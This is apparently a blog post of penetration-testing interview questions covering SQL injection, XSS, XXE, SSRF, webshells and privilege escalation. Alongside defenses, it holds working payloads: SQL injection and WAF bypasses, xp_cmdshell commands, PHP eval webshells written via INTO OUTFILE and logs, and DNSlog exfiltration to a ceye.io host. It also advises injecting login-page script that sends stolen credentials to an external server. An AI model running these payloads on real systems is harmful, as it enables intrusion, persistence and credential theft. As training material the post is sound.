Essential Cybersecurity Interview Questions and Technical Solutions

Penetration Testing Methodology

Standard Penetration Testing Process

  1. Initial project preparation and scope definition
  2. Information gathering: WHOIS lookup, source IP identification, virtual host detection, C segment scanning, server system version, container version, application version, database type, subdomain enumeration, firewall identification, and maintainer information collection
  3. Vulnerability scanning using tools like Nessus and Acunetix
  4. Manual vulnerability discovery focusing on logical flaws
  5. Vulnerability verification and validation
  6. Remediation recommendations
  7. Baseline checks and vulnerability retesting (if applicable)
  8. Report generation and findings documentation

Bypassing CDN to Find Real IP Address

  1. Perform ping tests from multiple locations to identify CDN usage
  2. Utilize email subscription or RSS subscription features
  3. Check subdomains as they might not be protected by CDN
  4. Use foreign DNS servers with nslookup
  5. Examine historical DNS resolution records that might contain the original IP before CDN implementation
  6. Analyze information revealed in phpinfo pages
  7. Use Cloudflare-specific techniques to obtain real IP
  8. Search for websites using the same favicon hash to identify the real IP
  9. Test subdomain bindings as some might directly connect to the origin server

Content Delivery Network (CDN) Fundamentals

What is a CDN?

A Content Delivery Network (CDN) is a distributed network of servers designed to accelerate content delivery for data-intensive applications. When a user accesses a website, data must travel from the website's server to the user's computer through the internet. If the user is geographically distant from the server, loading large files like videos or images becomes time-consuming. CDNs solve this by storing content on servers closer to users, enabling faster delivery.

Why are CDNs Important?

The primary purpose of a CDN is to reduce latency—the communication delay caused by network design. Given the internet's global nature, traffic between a website server and its users must often traverse long physical distences. CDNs improve efficiency by introducing intermediate servers between clients and website servers, managing some communications, reducing web traffic to origin servers, decreasing bandwidth consumption, and enhancing user experience.

CDN Advantages

  • Faster Page Loading: CDNs reduce bounce rates and increase user engagement by acccelerating content delivery
  • Reduced Bandwidth Costs: Through caching and optimizations, CDNs decrease the amount of data origin servers must provide, lowering hosting costs
  • Improved Content Availability: CDNs handle more web traffic and reduce server load, with failover capabilities if servers go offline
  • Enhanced Website Security: CDNs can mitigate DDoS attacks by distributing traffic across multiple servers

SQL Injection When Sleep Functions Are Disabled

When sleep functions are disabled, alternative methods to achieve time-based blind SQL injection include using BENCHMARK, Get_lock functions, or resource-intensive queries that cause database delays:

MySQL: `AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);`

XXE Vulnerability Scenarios and Architecture

XXE (XML External Entity) vulnerabilities commonly occur in scenarios like online PDF parsing, Word document processing, custom protocols, and message boards. These vulnerabilities relate to logical design rather than specific programming languages. Best practices include avoiding XML as parameter transmission or preventing user manipulation of the overall structure. If XML must be used, disable DTD and Entity processing.

XXE Impacts

XXE vulnerabilities can lead to local file reading, system command execution, internal network port scanning, and attacks against internal services. Protocols for internal network port scanning include gopher, file, and dict, with support varying by language. Common防范 protocols include file, http, and ftp. When using lxml in Python, set resolve_entities to false.

Java XML Parsing Libraries Vulnerable to XXE

javax.xml.stream.XMLStreamReader;
javax.xml.parsers.DocumentBuilderFactory;

Bypassing HTTP-Only

HTTP-Only prevents JavaScript from reading cookie information, but HTTP Trace attacks can echo cookies from headers. These attacks can be executed using Ajax or Flash. Bypasses may also be possible through configuration issues or application flaws, such as header leaks.

Second-Order SQL Injection

Second-order SQL injection occurs when data is initially inserted in to a database with proper escaping (using addslashes or magic_quotes_gpc), but when retrieved from the database for another operation, it's not properly validated or sanitized. The "dirty data" stored in the database is then used in subsequent queries without further processing.

Example scenario: On a dating website, the age field might be an injection point that displays the number of users with the same age. The injection process involves:

  1. Identifying the injection point using "and 1=1"
  2. Detecting column count with "order by"
  3. Finding output columns with "union select"
  4. Extracting database names: group_concat(schema_name) from information_schema.schemata
  5. Extracting table names: group_concat(table_name) from information_schema.schemata where table_schema='hhh'
  6. Retrieving data: concat(flag) from flag

Remediation

Always escape or filter data when retrieving it from databases or files.

SQL Server Privilege Escalation

xp_cmdshell Privilege Escalation

xp_cmdshell is a SQL Server component that can execute system commands. After obtaining sa credentials, privilege escalation is often possible through xp_cmdshell.

Prerequisites

  • Shell access or SQL injection with command execution capability
  • SQL Server running with system privileges (default configuration)

Enabling xp_cmdshell

EXEC master..sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC master..sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Executing System Commands

Exec master.dbo.xp_cmdshell 'whoami'

sp_oacreate Privilege Escalation

When xp_cmdshell is unavailable, SP_OACreate can be used for privilege escalation.

Prerequisites

Both sp_oacreate and sp_oamethod components must be available.

Enabling Components

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;

Executing System Commands (Non-echo)

declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami';

Executing Commands via Sandbox

Enabling Sandbox

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

Executing Commands via jet.oledb

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")');

Executing Commands via Agent Job

Modify and enable Agent Job to execute non-echo commands, such as PowerShell payloads generated by Cobalt Strike.

Magic Quotes GPC and Bypass Techniques

When magic_quotes_gpc=On, PHP automatically adds escape characters "\" to POST, GET, and COOKIE data to prevent special characters from contaminating programs, particularly database statements.

Webshell Prevention Methods

  1. Configure the server to parse script files in upload directories as different file types that won't be executed
  2. Identify and restrict access to script files in upload directories
  3. Upload files to a separate directory with a dedicated subdomain, and disable script execution permissions for that virtual site

Webshell Detection Approaches

A webshell is a command execution environment existing in web page files (ASP, PHP, JSP, CGI) that serves as a web backdoor. When hackers access a CGI file on a web server via browser through HTTP protocol, it's a legitimate TCP connection with no distinguishable features below the application layer. Detection must occur at the application layer.

Static Detection

Static detection finds webshells by matching signatures, feature values, and dangerous functions. It only identifies known webshells with relatively high false positive and false negative rates. While fast and convenient with high accuracy for known webshells, it has limitations in detecting zero-day webshells and can be easily bypassed.

Static Detection with Manual Analysis

A useful tool for this approach: https://github.com/he1m4n6a/findWebshell

Dynamic Detection

On Linux systems, dynamic detection looks for nobody users starting bash processes. On Windows, it monitors IIS User starting cmd processes. Reverse connections are even easier to detect. Since webshells require HTTP requests, monitoring HTTP traffic at the network layer can detect access to previously unaccessed files returning 200 status codes. However, this approach can be bypassed if hackers use existing files, and deployment costs are high with rules requiring constant updates for frequently changing websites.

Log Detection

Webshell usage typically doesn't leave traces in system logs but does create access records and data submission logs in web logs. Log analysis detection builds request models from large volumes of log files to detect anomalies, known as HTTP Anomaly Request Model Detection.

Finding Webshells

  1. Automated scanning: D Shield, Hippo, Fortify
  2. Manual searching:
    • Windows: Use Sublime Text or IDEs like PHPStorm for full-folder searches
    • Linux: Use command-line searches like grep -rn "eval(" *

Common webshell characteristics include dangerous PHP functions like eval(), and patterns like <?php XXXXX or phar archives.

DNS Resolution Record Lookup Methods

  1. Check browser cache
  2. Check system cache
  3. Check router cache
  4. Query ISP DNS cache
  5. Recursive search: Send a DNS request (UDP, port 53) for a domain name, and DNS servers will recursively find the IP address

Login Page Vulnerabilities

  1. Injection points and universal passwords
  2. Sensitive information disclosure
  3. Captcha bypass
  4. Unlimited account registration
  5. Arbitrary password reset
  6. Plaintext transmission
  7. Privilege escalation vulnerabilities

Quick XSS Type Identification

Stored XSS

Send a request containing XSS code once, and all subsequent page responses will contain the XSS code.

Reflected XSS

Send a request containing XSS code once, and the XSS code only appears in the current response data.

DOM-based XSS

Send a request containing XSS code once, and the XSS code doesn't appear in the response at all.

CSP (Content Security Policy)

Browser Content Security Policy reduces XSS attacks by restricting resource sources.

CSRF, SSRF, and Replay Attack Differences

  • CSRF (Cross-Site Request Forgery): Initiated by the client
  • SSRF (Server-Side Request Forgery): Initiated by the server
  • Replay Attack: Replaying intercepted packets to achieve authentication or other goals

CSRF, XSS, and XXE Differences and Remediation

XSS (Cross-Site Scripting)

User-submitted data contains executable code that can steal user information or perform other attacks.

Remediation:

  • Escape character entities
  • Use HTTP Only to prevent JavaScript from reading cookie values
  • Implement input validation
  • Ensure consistent character encoding between browser and web application

CSRF (Cross-Site Request Forgery)

XSS is one method to achieve CSRF, which occurs when applications don't verify if critical operations are voluntarily initiated by users.

Remediation:

  • Embed tokens in pages requiring CSRF protection
  • Require password re-authentication
  • Validate Referer headers

XXE (XML External Entity)

XML can call entities to request local or remote content, similar to remote file inclusion, potentially causing security issues like sensitive file reading.

Remediation:

Strictly prohibit external entity parsing when using XML parsing libraries.

MongoDB Injection Methods

Using regex operators to find names starting with 'y': db.items.find({name: {$regex:"^y"}})

Sample payloads:

?login[$regex]=^&password[$regex]=^
?login[$not][$type]=1&password[$not][$type]=1

MySQL Differences Between Versions 5.0+ and Below

MySQL versions below 5.0 lack the information_schema system table, making it impossible to list table names without brute-forcing. Versions below 5.0 are multi-user single-operation, while 5.0+ supports multi-user multi-operation.

MySQL Webshell Writing

Functions for Writing Webshells

  • select '<?php phpinfo() ?>' into outfile 'D:/shelltest.php'
  • dumpfile
  • file_put_contents

When outfile is Unavailable

Use UDF (User-Defined Function) privilege escalation:

select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';


<p>Reference: https://www.cnblogs.com/milantgh/p/5444398.html</p>

<h4>Differences Between dumpfile and outfile</h4>
<p>outfile is suitable for database exports but adds newlines and escapes at line endings, making it unsuitable for binary executable files. dumpfile doesn't have these limitations.</p>

<h4>Webshell Writing Conditions</h4>
  • User permissions
  • Directory read/write permissions
  • Command execution prevention through disable_functions

Example disable_functions configuration:

disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source


<p>Bypass methods include using dl extensions or ImageMagick vulnerabilities: https://www.waitalone.cn/imagemagic-bypass-disable_function.html</p>

<p>The <code>open_basedir</code> directive restricts file operations to specific directories.</p>

<h3>MySQL Webshell Writing Conditions</h3>
<ol>
  <li>Absolute path to website-accessible location</li>
  <li><code>secure_file_priv</code> value must be NULL or include the export path (configured in my.ini)
  <ul>
    <li>MySQL ≥ 5.5.53 defaults to NULL (prohibiting imports/exports)</li>
    <li>MySQL < 5.5.53 defaults to empty (no restrictions)</li>
  </ul>
  </li>
  <li>MySQL service must have write permissions to the website path</li>
  <li>MySQL connection user must have FILE permissions or ROOT privileges</li>
  <li>GPC must be disabled (unescaped quotes)</li>
</ol>

<p>outfile and dumpfile paths don't support hex encoding and must be wrapped in quotes.</p>

<h3>MySQL Log Webshell Writing</h3>
<p>Compared to export function webshells, this method bypasses <code>secure_file_priv</code> restrictions.</p>

<h4>Requirements</h4>
<ol>
  <li>Absolute path to website-accessible location</li>
  <li>MySQL service must have write permissions to the website path</li>
  <li>MySQL connection user must have permissions to enable logging and change log paths/ROOT privileges</li>
  <li>GPC disabled (unescaped quotes)</li>
</ol>

<p>Although log paths can be hex-encoded, shell content in logged queries requires quotes, which causes errors when escaped with backslashes, preventing logging.</p>

<h3>Root Privilege Requirements</h3>
  • GPC disabled (single quotes usable)
  • magic_quotes_gpc=On
  • Absolute path available (not required for file reading, necessary for writing)
  • No configured --secure-file-priv

Success conditions: Read/write permissions, create, insert, and select permissions.

Bypassing disable_functions

  1. Blacklists often miss functions; try various alternatives
  2. LD_PRELOAD: Hijack system functions to load malicious dynamic link libraries
  3. ImageMagick: Exploit ImageMagick command execution vulnerability (CVE-2016-3714)
  4. Windows system component COM bypass
  5. PHP 7.4 FFI bypass
  6. Bash Shellshock exploitation (CVE-2014-6271)
  7. imap_open() bypass (CVE-2018-19518)
  8. pcntl plugin bypass

Handling Non-Network Webshells

Use reverse connection methods or probe for outbound protocols like DNS or ICMP.

Dirty Cow Privilege Escalation Vulnerability

Dirty Cow Vulnerability

Dirty COW (CVE-2016-5195) is a Linux kernel privilege escalation vulnerability.

Vulnerability Scope

Linux kernel ≥ 2.6.22

Brief Analysis

The vulnerability exists in the Linux kernel's memory subsystem when handling copy-on-write (COW) operations, creating a race condition. Malicious users can exploit this to gain higher privileges and write access to read-only memory mappings. Race conditions occur when task execution order is abnormal, potentially causing application crashes or enabling attackers to execute further code. Exploiting this vulnerability can allow attackers to escalate privileges, potentially gaining root access.

Exploitation Steps

  1. Check system version and user permissions
  2. Download exploit to local system and compile with: gcc -pthread dirty.c -o dirty -lcrypt
  3. Execute with: ./dirty password to escalate privileges

sqlmap --level and --risk Differences

Higher --level values send more requests and attempt Referer injection at level 3 and above. --risk represents the risk coefficient, defaulting to 1, which tests most statements. Risk 2 adds event-based test statements, while risk 3 adds OR statement SQL injection tests. In some cases, such as UPDATE statements, injecting an OR test statement could update entire tables, posing significant risks.

Exploiting Stored XSS

XSS attacks work by adding or modifying malicious JavaScript scripts on pages, which execute when browsers render the page, enabling cookie theft, AJAX-based CSRF attacks, or Beef hooking for phishing. CORS (Cross-Origin Resource Sharing) is a browser same-origin policy where JavaScript can only request resources from the same origin. If a site's CORS headers don't explicitly allow other origins, cross-origin AJAX requests will be blocked.

MySQL Database Site with Only Port 80 Open

This could indicate:

  1. Changed port (not detected in scanning)
  2. Site-database separation architecture
  3. Port 3306 not publicly accessible

Significance of Examining Upload Point Elements

Some sites implement file type restrictions on the frontend. Simply adding allowed file types can bypass these limitations.

Troubleshooting 3389 Connection Issues

Possible causes:

  1. Port 3389 not open
  2. Port modified
  3. Protection interception
  4. Internal network location (requiring port forwarding)

Image Upload Works, Script Upload Returns 403

The web server configuration might have the upload directory configured to not execute scripts. Try changing file extensions to bypass.

MySQL Privilege Escalation Methods

MySQL UDF Privilege Escalation

Exploits root privileges to create a udf.dll dynamic link library with functions calling cmd. After exporting udf.dll, system commands can be executed directly.

Limitations

  1. MySQL database not in secure mode (verify secure_file_priv='')
  2. Database account has insert and delete permissions, preferably root privileges
  3. Shell has write permissions to the database installation directory

MOF Privilege Escalation

MOF is a historical vulnerability primarily successful in Windows Server 2003 environments. The principle exploits that MOF files in C:/Windows/system32/wbem/mof/ are executed by the system every few seconds. Since MOF files contain VBS scripts, they can be used to call CMD and execute system commands if MySQL has permissions to operate the mof directory.

Token Testing Considerations

Token attacks involve two approaches:

  1. Direct attacks on the token: replay testing, analyzing encryption rules, verifying validation methods
  2. Combination with information disclosure vulnerabilities for token acquisition, enabling combined attacks

Information disclosure might occur through caches, logs, GET parameters, or cross-site scripting. Many redirect logins rely on tokens, and a redirect vulnerability combined with reflected XSS can lead to login hijacking. Token security can also be evaluated in the context of other business logic, such as red envelope grabbing scenarios.

Token vs. Referer Security Comparison

Tokens offer higher security than Referer headers because not all servers can obtain Referer information, Referer isn't sent when transitioning from HTTPS to HTTP, and some Flash versions allow custom Referer headers. However, tokens must be sufficiently random and kept secret (unpredictability principle).

SQL Injection Webshell Writing with Single Quotes Filtered

Webshell writing requires root privileges, GPC disabled, and known file paths using the outfile function:

http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '<?php phpinfo(); ?>'
http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php'

Wide Byte Injection

Space replacement methods: %0a, %0b, %a0, /* */, etc.

Wide Byte Injection Principles

Generation Principle

When databases use wide character sets but web applications don't account for this, 0XBF27 becomes two characters in the web layer. With PHP's addslashes or magic_quotes_gpc enabled, the 0x27 single quote is escaped, turning 0xbf27 into 0xbf5c27. When data enters the database, 0XBF5C is recognized as a single character, causing the backslash to be "consumed" by the preceding bf, allowing the single quote to escape and close statements.

Root Cause

Differences between character_set_client (client character set) and character_set_connection (connection layer character set), or improper use of conversion functions like iconv and mb_convert_encoding.

Solution

Unify character sets across database, web application, and operating system (preferably UTF-8), or properly escape data using mysql_real_escape_string with mysql_set_charset.

Alternative Methods to Obtain Admin Paths Besides img onerror

  1. Server configuration modification: Configure Apache to parse .jpg files as PHP using AddType application/x-httpd-php .jpg. <img src=http://xss.tv/1.jpg> will then be parsed as PHP
  2. Define a remote script file to capture the Referer header

Code Execution, File Reading, and Command Execution Functions

Code Execution Functions

eval, preg_replace+/e, assert, call_user_func, call_user_func_array, create_function

File Reading Functions

file_get_contents(), highlight_file(), fopen(), readfile(), fread(), fgetss(), fgets(), parse_ini_file(), show_source(), file()

Command Execution Functions

system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()

Why ASPX Webshells Have Higher Privileges Than ASP

ASPX uses .NET technology, which isn't supported by default in IIS. ASP is merely a scripting language. During intrusion, ASP webshells typically have guest privileges, while ASPX webshells generally have users privileges.

Why Choose Writable Directories Without Spaces for Privilege Escalation

Exploit execution typically requires spaces to delimit parameters.

Long-term Control Using XSS with Shell Access

Add JavaScript to the backend login page to record login credentials and determine if login was successful. If successful, save credentials to a file in an obscure path or send them to an external server. This method is suitable for valuable sites requiring deep control. Alternatively, insert XSS scripts in files accessible only after login.

Shell Acquisition Strategy for uid=100 Injection Point

With write permissions, construct union queries using INTO OUTFILE to redirect query output to system files for webshell writing. Use sqlmap --os-shell with the same principle to obtain a shell more efficiently. Alternatively, construct union queries to obtain administrator credentials, scan for backend login, and upload shells through backend methods like packet modification.

Methods to Obtain Webshells

Upload, backend template editing, SQL injection file writing, command execution, code execution, known CMS vulnerabilities (e.g., Dedecms backend可以直接建立脚本文件), WordPress plugin uploads containing script files in ZIP packages, etc.

Manual Determination of Target OS (Windows vs. Linux)

  1. Case sensitivity: Linux is case-sensitive, Windows is not
  2. Ping TTL values:
    • Linux: 64 or 255
    • Windows: 32 or 128
    • Unix: 255

SVN/GIT Source Code Disclosure

  1. When using SVN for local code management, a hidden .svn folder is automatically generated, containing important source code information
  2. When using git for version control with automatic site deployment, improper configuration might deploy the .git folder directly to the production environment, causing git disclosure

Vulnerability Scanning Project Considerations

Confirm with clients if login scanning is permitted, determine allowed concurrent connections and threads, verify if brute force attacks are allowed, establish scanning time windows, advise clients to back up data, and enable business system and website monitoring for timely recovery if outages occur.

Requirements for SQLMap to Write Webshell to MySQL Injection Point

  1. Root privileges
  2. Absolute website path
  3. Database secure_file_priv must be empty (not allowing webshell writing if not empty)

By default, secure_file_priv is not enabled and requires modification to the my.ini configuration file.

Why a MySQL Database Site Has Only Port 80 Open

  1. Database port changed (not detected in scanning)
  2. Site-database separation
  3. Port 3306 not publicly accessible

Error-Based Injection Functions

updatexml, extractvalue, floor, exp

Bypassing Post and Get Anti-Injection Measures

Cookie injection can bypass protections applied to POST and GET parameters.

Capabilities of SQL Injection Beyond Account and Password Retrieval

Even with minimum privileges, SQL injection can find accounts and passwords. With higher privileges:

  • MSSQL sa privileges can obtain system privileges
  • db_owner privileges can obtain webshells
  • public privileges can dump databases
  • MySQL root privileges with known website paths and empty secure_file_priv values can obtain webshells and execute operating system commands

SQLMap Injection Methods

  1. For GET injection: sqlmap -u "injection_point_url"
  2. For POST injection: sqlmap -r "burp_request_file"
  3. For Cookie, X-Forwarded-For, etc.: Capture requests with Burp Suite, replace injection points with *, save to file, then use sqlmap -r "file_path" with the --level 3 parameter

SQL Injection Prevention Methods

  1. Function filtering, such as !is_numeric() to verify if variables are numeric
  2. Include anti-injection files in website configuration files, such as those provided by 360, Alibaba Cloud, or Tencent
  3. Use whitelist approaches for input validation
  4. Implement PDO prepared statements
  5. Deploy WAF (Web Application Firewall) protection

Bypassing Filtered IF in Blind SQL Injection

When "and if" is intercepted by WAF, inline comments can bypass function detection:

xor /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
^ /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
/*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
and case when 1!=0 then /*!sleep*//*!(5)*/ else 0 end %23

DNSlog Construction for Non-Responsive SQL Injection

  1. Without response, automated injection scripts are typically used, but firewalls may block IP addresses. Try adjusting request frequency or use proxy pools if available
  2. DNSlog injection can be used by placing server results in domain names and reading DNS resolution logs to obtain desired information
  3. In MySQL, construct payload using load_file():
' and if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,0)#
  1. In MSSQL, construct payload using master..xp_dirtree:
DECLARE @host varchar(1024);
SELECT @host=(SELECT db_name())+'.xxx.ceye.io';
EXEC('master..xp_dirtree "\'+@host+'\foobar$"');

PHPAdmin Webshell Writing Methods

Conventional Shell Import Operations

Create data table and export shell:

CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL);
INSERT INTO `mysql`.`shadow9` (`content`) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `content` FROM `shadow9` INTO OUTFILE 'C:\\phpStudy\\WWW\\90sec.php';
DROP TABLE IF EXISTS `shadow9`;

One-Line Shell Export

select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php';
select '<?php @eval($_POST[pass]);?>' into outfile 'c:\\phpstudy\\www/90sec.php';
select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:\\phpstudy/www/bypass.php';

Log Backup Shell Acquisition

show global variables like "%genera%";  // Query general_log configuration
set global general_log='on';  // Enable general log mode
SET global general_log_file='D:/phpStudy/WWW/cmd.php';  // Set log file save path
SELECT '<?php phpinfo();?>';  // Write phpinfo() to log file
set global general_log='off';  // Disable general_log mode

Can Prepared Statements Completely Prevent SQL Injection? Examples

$pdo->query('SET NAMES gbk');
$var = "\xbf\x27 OR 1=1 /*";
$query = 'SELECT * FROM test WHERE name = ? LIMIT 1';
$stmt = $pdo->prepare($query);
$stmt->execute(array($var));   # Similar to wide byte injection

$dbh = new PDO("txf");
$name = $_GET['name'];
$stmt = $dbh->prepare('SELECT * FROM ' . $name . ' where username = :username');
$stmt->execute(array(':username' => $_REQUEST['username']));
# Parameter name is an array, PDO won't be effective

$stmt = $dbh->prepare('SELECT * FROM foo ORDER BY :userSuppliedData');
# PDO doesn't work with DDL

Handling Filtered "and" and "or" in SQL Injection

  1. Case variation (AND, And, aNd, etc.)
  2. Encoding
  3. Comment addition (/*and*/)
  4. Double writing (anandd, oorr)
  5. Symbolic forms (&&, ||)
  6. Floating point numbers (when numbers are commented)
  7. Function substitution (when symbols are commented)

Quick File Download Vulnerability Discovery

Common URL patterns: download.php?path= down.php?file= data.php?file= download.php?filename=

Or inclusion parameters: &Src= &Inputfile= &Filepath= &Path= &Data=

Arbitrary File Download Prevention Methods

  1. Filter "." characters to prevent directory traversal in URLs
  2. Strictly validate user input parameter formats using regular expressions
  3. Configure open_basedir in php.ini to limit file access scope

CORS Generation, Exploitation, and Same-Origin Policy Bypass

  1. CORS (Cross-Origin Resource Sharing) occurs when Origin sources aren't strictly validated, allowing browsers to send XMLHttpRequest requests to cross-origin servers
  2. When Origin is "*", test CORS with: curl <url> -H "Origin: https://evil.com" -I, then check if API endpoints leak sensitive information
  3. Same origin requires identical protocol, domain, and port. Bypass methods include:
    • document.domain property
    • Fragment identifiers (adding # to URL)
    • window.name
    • Cross-document communication API
    • JSONP
    • CORS
    • WebSockets
  4. JSONP cross-domain exploitation: Retrieve JSON data and encode it to send to a remote server

XSS Popup Functions and Common Bypass Strategies

Common popup functions: alert, confirm, prompt

Bypass Strategies

  1. Case mixing (AlErT)
  2. Double writing (scrscriptipt)
  3. Encoding (hex, octal, unicode)
  4. Fuzz with low-frequency tags like <details/open/ontoggle>
  5. Fuzz with low-frequency functions like ontoggle
  6. Alternative syntax: <img/src=1>
  7. Newline bypass: %0a or %0d

SSRF Redis Webshell Writing

  1. SSRF (Server-Side Request Forgery) enables:
    • Internal network scanning to obtain banners
    • Attacking internal applications, primarily using GET parameter-based attacks (e.g., Struts2, SQLi)
    • Reading local files via protocols
    • Cloud environment (AWS, Google Cloud) internal API calls for ECS operations
  2. WebLogic SSRF example: Use SSRF with gopher protocol to manipulate internal Redis, write reverse shell to crontab scheduled tasks, URL encode, and replace \r strings with %0d%0a

Login Page Vulnerabilities

(Same as previously listed)

Third-Party Application Privilege Escalation Methods

  1. Serv-U security testing (with configuration file modification permissions or default unmodified ServUDaemon.exe admin credentials)
  2. FlashFXP security testing (download quick.dat, sites.dat, stats.dat files for local password viewing)
  3. Gene6 FTP security testing (access Remote.ini configuration file containing admin IP, port, and password)
  4. PCAnywhere security testing (crack *.CIF files)
  5. VNC security testing (read VNC connection password from registry: HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password)
  6. Radmin security testing (export registry hash for connection)
  7. Zend security testing (rename and replace ZendExtensionManager.dll with malicious version)
  8. Startup item security testing
  9. Service replacement security testing
  10. DLL hijacking security testing (generate malicious DLLs with tools like Tools lpk sethc v4.0)
  11. Perl security testing (low versions can directly execute system commands)

Privilege Escalation When xp_cmdshell is Disabled

Enable 'xp_cmdshell' using sp_configure:

USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options', 0

Website Backend Getshell Methods

  1. Direct webshell path upload
  2. Database backup getshell
  3. Modify website upload type configuration
  4. Execute SQL statements to write webshell
  5. Obtain webshell through database
  6. Command execution getshell
  7. phpMyAdmin shell writing

Fastjson Non-Network Exploitation

Currently known public POCs:

  1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  2. org.apache.tomcat.dbcp.dbcp2.BasicDataSource

First exploitation method requires specific trigger conditions: JSON parsing must use Feature to trigger, as in: JSONObject.parseObject(sb.toString(), new Feature[]{Feature.SupportNonPublicField});

Second exploitation method requires application deployment in Tomcat environment with tomcat-dbcp.jar. For SpringBoot with embedded Tomcat, configure tomcat-dbcp in Maven. Different Tomcat versions use different POCs:

  • Tomcat 8.0+: org.apache.tomcat.dbcp.dbcp2.BasicDataSource
  • Tomcat below 8.0: org.apache.tomcat.dbcp.dbcp.BasicDataSource

Handling XXE Blind Injection

For XXE without response, use DNS out-of-band and external parameter entity injection:

  1. Prepare test.dtd on an attacker's public server, using base64 encoding of read content as parameter values
  2. On victim side, access attacker's test.dtd file via external parameter entity injection
  3. Check attacker's public server logs and decode to obtain victim server content

Tags: Penetration Testing SQL Injection XSS csrf ssrf

Posted on Sun, 17 May 2026 22:03:57 +0000 by offnordberg